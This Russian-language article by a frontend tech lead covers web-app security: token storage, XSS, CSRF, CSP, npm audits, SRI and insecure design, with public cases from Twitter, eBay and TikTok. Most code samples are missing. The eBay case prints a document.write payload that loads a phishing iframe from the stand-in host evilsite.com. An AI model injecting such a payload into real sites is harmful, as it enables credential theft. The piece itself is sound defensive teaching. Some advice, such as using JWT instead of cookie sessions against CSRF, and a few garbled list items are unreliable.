Реальные уязвимости современных WEB-приложений: что нужно учитывать разработчикам
Практические примеры и ошибки, которые совершают даже опытные разработчики
«Хранить токен в localStorage — нормально», «У нас React, XSS нам не страшен», «У нас HTTPS, значит всё безопасно».
Это одни из самых распространённых заблуждений в современной веб-разработке.
Меня зовут Владимир Стариков, я Tech Lead Frontend в AO «Bereke Bank».
- 6 лет опыта в веб-разработке, из них 5 лет — в финтех-проектах.
- специализация: frontend-архитектура и безопасность web-приложений.
- работает с React, Next.js и микрофронтендами.
- занимается аудитом и повышением безопасности клиентских приложений.
В первые годы работы я практически не задумывался о безопасности фронтенда. Казалось, что уязвимости — это зона ответственности backend-разработчиков и DevOps.
Фронтенд воспринимался как UI-слой: интерфейсы, компоненты, немного бизнес-логики.
Со временем стало понятно: фронтенд — это одна из самых уязвимых точек всей системы.
Современные приложения — это уже не просто HTML и CSS. Это:
- SSR-приложения на Next.js;
- микрофронтенды;
- десятки и сотни NPM-зависимостей;
- интеграции со сторонними сервисами.
Каждая такая зависимость — потенциальная точка атаки. А supply-chain атаки через npm уже давно стали одной из самых популярных лазеек для злоумышленников.
Когда я начал глубже разбираться в теме, стало очевидно: советов уровня «не использовать dangerouslySetInnerHTML» недостаточно.
В этой статье я разберу несколько распространённых уязвимостей, с которыми сталкиваются современные web-приложения, и дам практические рекомендации, как снизить риски.
Материал будет полезен:
- junior и middle разработчикам — чтобы не наступать на типичные ошибки;
- senior инженерам — как чек-лист для аудита собственных проектов.
Примеры приведены на React, но большинство рекомендаций актуальны для любого фронтенд-фреймворка.
Главный принцип веб-безопасности прост: лучшая уязвимость — та, которой нет.

Где безопаснее хранить токен?
Чаще всего разработчики выбирают между двумя вариантами:
- LocalStorage;
- Cookies.
Но у каждого из них есть свои особенности безопасности.

LocalStorage
Плюсы
- простой доступ из JavaScript;
- удобно передавать токен в Authorization header;
- данные сохраняются даже после закрытия вкладки.
Минусы
- уязвимость к XSS-атакам;
- любой выполненный JS-код может прочитать токен;
- нет флага HttpOnly.
Cookies
Плюсы
- HttpOnly — токен недоступен из JavaScript;
- Secure — передача только по HTTPS;
- SameSite — защита от CSRF;
- можно ограничить домен и путь.
Минусы
- при неправильной настройке возможны CSRF-атаки;
- cookie отправляется с каждым запросом автоматически;
- XSS всё равно может выполнять действия от имени пользователя.
Ключевая мысль
Если приложение уже подверглось XSS-атаке, cookie полностью не спасёт.Но значительно ограничит масштаб ущерба, поскольку токен нельзя просто прочитать через JS.
Sanitize it all

Санитизация — это очистка пользовательских данных от потенциально опасного кода.
Если её нет, злоумышленник может внедрить собственный JavaScript, который будет выполняться в браузере пользователей.
Пример уязвимого компонента
Если злоумышленник отправит такой комментарий:
то любой пользователь, открывший страницу, отправит свой токен злоумышленнику.
Если токен хранится в HttpOnly cookie — его нельзя прочитать напрямую.Но злоумышленник всё равно сможет:
- отправлять запросы от имени пользователя;
- читать ответы API;
- подменять интерфейс;
- API;
- Подменять UI.
Важно понимать
Уязвимость может появиться не только в вашем компоненте.
Например, если вы:
- рендерите HTML с backend;
- используете WYSIWYG-редактор;
- доверяете сторонним источникам.
Во всех этих случаях граница доверия переносится внутрь вашего приложения.
Как обезопасить себя?
Нужно предпринять комплекс мер:
- Никогда не вставляйте HTML без строгой необходимости;
- Санитизируйте любой внедряемый код (например с помощью DOMPurify);
- Настройте Content-Security Policy в заголовках (об этом чуть позже).
Пример санитизации:
Публичный кейс: Twitter Worm (2009)
В 2009 году в Twitter появилась XSS-уязвимость, которая позволила создать настоящий червь внутри социальной сети.
Злоумышленник встроил событие onmouseover в ссылку.
Когда пользователь наводил курсор:
- автоматически публиковался твит;
- код распространялся дальше.
Причина оказалась неожиданной:символ @ ломал HTML-парсер Twitter, что позволило обойти фильтрацию.
Пример вредоносного кода:
Теперь если вы наводили курсор на эту ссылку, вы публиковали тот же самый контент.
Публичный кейс: eBay (2015-2016)
eBay поддерживал параметр запроса redirectTo. Проблема заключалась в том, что страницы, на которые можно было выполнить перенаправление, не обязательно проверяли параметры запроса в URL, на который перенаправлялся пользователь - что позволяло осуществлять XSS-атаки.
Пример: Злоумышленник создает копию страницы авторизации, которая имитирует оригинал от eBay (за исключением адресной строки, замену которой вряд-ли заметит рядовой пользователь). Далее задача злоумышленника внедрить примерно такой код: document.write('<iframec="http://evilsite.com/ebay/signin.ebay.com/ws/eBayISAPI9f90.html” width="1500″ height="1000″>')
И он прекрасно с этим справляется с помощью вредоносной ссылки и redirectTo от eBay:
Невнимательный пользователь вводит свои учетные данные и получает ошибку… хотя его данные уже улетели на сервер злоумышленника.
Защищайтесь от CSRF атак

CSRF (Cross-Site Request Forgery) — атака, при которой злоумышленник заставляет браузер пользователя выполнить запрос к сайту.
Если защита отсутствует, можно:
- изменить настройки аккаунта;
- совершить покупку;
- перевести деньги.
Почему это работает? Потому что cookie автоматически отправляются браузером.
Пример:
Пользователь авторизован в банке.
Злоумышленник размещает на своём сайте форму:

Браузер автоматически прикладывает cookie.
Сервер думает, что запрос отправил пользователь.
Как воспроизвести и обнаружить?
Представим, что у вас есть форма с таким POST запросом смены email.
В теле запроса:
если в самой форме нет CSRF-токена, то с большой вероятностью вы уже уязвимы.
Вашу страницу можно будет скомпрометировать через обычный HTML.
Признаки CSRF-уязвимости
- отсутствует CSRF-токен;
- токен не связан с сессией;
- GET-запросы изменяют данные.
Как исправить
- добавить CSRF-токен;
- настроить SameSite для cookie;
- проверять Origin и Referer;
- не использовать GET для изменения состояния;
- использовать JWT вместо cookie-сессии.
Кейс: захват аккаунта TikTok (2020)
Один из эндпоинтов TikTok, отвечающий за сброс пароля, оказался уязвим к CSRF.
Это позволяло изменить пароль пользователя буквально в один клик.
Content Security Policy
CSP — механизм браузерной защиты, позволяющий указать: какой код разрешено выполнять, а какой — нет.
Основные принципы
- allowlist доменов;
- директивы (script-src, style-src);
- отчёты о нарушениях.
Где настраивать CSP
Правильно — через HTTP заголовок:
Допустимо — через <meta> в <head> вашего HTML
В этом примере мы разрешаем загрузку скриптов только с нашего домена и домена trusted.cdn.com
Однако в случае с meta-тегом этот способ не дает полной защиты, и имеет свои недостатки и ограничения. Но это в любом случае лучше чем ничего.
Важный нюанс
CSP не дает нам защиту по умолчанию. Очень часто можно встретить такую конфигурацию:
Наличие 'unsafe-inline' фактически разрешает выполнение встроенных скриптов и значительно снижает ценность CSP.
Пример строгого CSP

Пример более жёсткой политики.
Что здесь важно:
- default-src 'none' — по умолчанию браузеру запрещено загружать любые ресурсы, если для них явно не указана директива;
- frame-ancestors 'none' — запрещает встраивать наше приложение в iframe;
- Мы блокируем опасные функции в JS (eval, new Function, и т.д);
- В случае удачной XSS атаки мы значительно усложняем жизнь злоумышленнику.
Проверить работу CSP можно через DevTools.
Откройте консоль и попробуйте выполнить:
Если вышла ошибка вроде этой:

значит политика действительно блокирует выполнение динамического кода.
Интересно и то, что подобную политику ставят себе многие бигтех компании (попробуйте выполнить этот код в консоли в YouTube или X).
Когда я впервые посмотрел на нашу CSP-политику, я увидел, что формально она существовала. Но по факту не обеспечивала максимальной защиты. В ней были разрешены inline-скрипты и загрузка ресурсов с внешних доменов - то есть технически CSP был настроен, но на практике не ограничивал почти ничего.
Проверить безопасность заголовков в запросах вашего приложения вы можете онлайн c помощью сервиса от Snyk.
Регулярно проверяйте зависимости

Без инструментов вроде DerScanner, Snyk и NPM Audit риск наличия уязвимостей в зависимостях значительно возрастает. Библиотеки во фронтенде обновляются чуть ли не каждый день, и не всегда это новые фичи. Порой обновления связаны с дырами в безопасности, и, к счастью, разработчики NPM позаботились об этом.
Достаточно ввести в своем проекте такую команду:
И консоль выдаст вам все проблемные библиотеки и информацию о патчах.

Пример отчета от NPM Audit.
В таких случаях рекомендуется обновлять библиотеки вручную, либо используя команду:
Обновляет до безопасных версий в рамках semver
Может обновить до мажорных версий, но сломать API
В случае если в библиотеке найдена уязвимость, но патча еще нет, есть несколько вариантов:
- Найти альтернативу;
- Форк с патчем + Git URL;
- Как временное решение использовать patch-package, и самому исправить код в node_modules.
По своему опыту могу сказать, что в моих проектах уязвимость уровня high в зависимостях появляется примерно раз в квартал. Именно поэтому важно регулярно проверять и обновлять зависимости, делая это аккуратно и с учетом обратной совместимости. Некоторые уязвимости в библиотеках позволяют проводить supply-chain атаки. Уязвимости такого рода особенно опасны тем, что одна зараженная библиотека может попасть сразу в тысячи других проектов.
Используйте Subresource Integrity (SRI)
Subresource Integrity — это механизм безопасности в браузере, который проверяет, не был ли подменен наш файл.
В основном SRI защищает нас от подмены файлов на CDN и MITM атак.
Рассматривайте его как дополнительный уровень защиты, особенно, если используете аналитику и другие сторонние виджеты.
Как это выглядит:
Пример скрипта с SRI
Как защищает:
- Браузер скачивает файл;
- Считает его криптографический хеш;
- Сравнивает с тем, что указан в integrity;
- Если хеши не совпадают — ресурс блокируется.
Вы можете подключить SRI в свой проект используя подходящие библиотеки для вашего сборщика:
Для webpack: webpack-subresource-integrity
Для Vite: vite-plugin-csp-guard
Insecure Design
Insecure Design — это класс уязвимостей, связанных с ошибками в проектировании системы: непродуманной бизнес-логикой, отсутствием ограничений и недостаточным учётом сценариев злоупотребления.
Особенность в том, что:
- её сложно выявить сканером;
- она часто проявляется только при анализе бизнес-процессов;
- эксплуатация может быть полностью легальной.
По данным OWASP Top 10, Insecure Design занял 6-е место в 2025 году, являясь одной из самых распространенных уязвимостей.
Пример уязвимости
Представим сервис покупки билетов в кино:
- Пользователь может забронировать до 6 мест;
- Бронь действует 5 минут до оплаты;
- После выхода из приложения бронь не отменяется;
- Нет ограничения на общее количество активных броней на пользователя.
Что произойдет:
- Злоумышленник может забронировать весь кинотеатр вручную.
- Если злоумышленник перехватит запрос, то в таком он случае он зарезервирует весь зал за несколько минут.
В итоге клиенты не могут купить место, а бизнес потерпел большой финансовый ущерб и репутационный удар.
Решение
- Использовать Rate Limit (ограничение на кол-во запросов).
- Жесткое ограничение броней на аккаунт.
- Освобождение мест при разрыве сессии (логаут).
С подобной уязвимостью я сталкивался неоднократно. Как фронтендер я в основном не мог технически исправить проблему, но мог выявить риск на этапе разработке и предупредить команду о потенциальной уязвимости.
Вывод
Веб-безопасность — это не набор отдельных правил.
Это образ мышления разработчика.
Современные фронтенд-приложения взаимодействуют:
- с API;
- с пользовательскими данными;
- с сотнями сторонних библиотек.
Фронтенд давно перестал быть просто UI.
Сегодня это полноценная часть системы, подверженная тем же угрозам, что и backend.
И главный принцип остаётся прежним:
Лучшая уязвимость — та, которой нет.